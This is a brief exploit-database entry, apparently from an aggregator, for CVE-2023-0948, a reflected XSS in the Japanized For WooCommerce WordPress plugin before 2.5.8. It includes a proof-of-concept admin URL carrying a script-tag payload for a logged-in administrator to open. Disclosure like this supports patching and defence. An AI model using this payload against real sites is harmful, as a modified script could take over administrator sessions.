Exploit for Japanized For WooCommerce < 2.5.8 - Reflected XSS CVE-2023-0948

Name: Exploit for Japanized For WooCommerce < 2.5.8 - Reflected XSS CVE-2023-0948
Rating: 5 (107 reviews)

2023-04-17 | CVSS 5.8

## https://sploitus.com/exploit?id=WPEX-ID:A78D75B2-85A0-41EB-9720-C726CA2E8718
With the PeachPay payment gateway enabled (can be enabled via the settings: http://example.com/wp-admin/admin.php?page=wc4jp-options&tab=payment)

Make a logged in admin open the following URL: https://example.com/wp-admin/admin.php?page=peachpay&tab=field&"><script>alert(/XSS/)</script>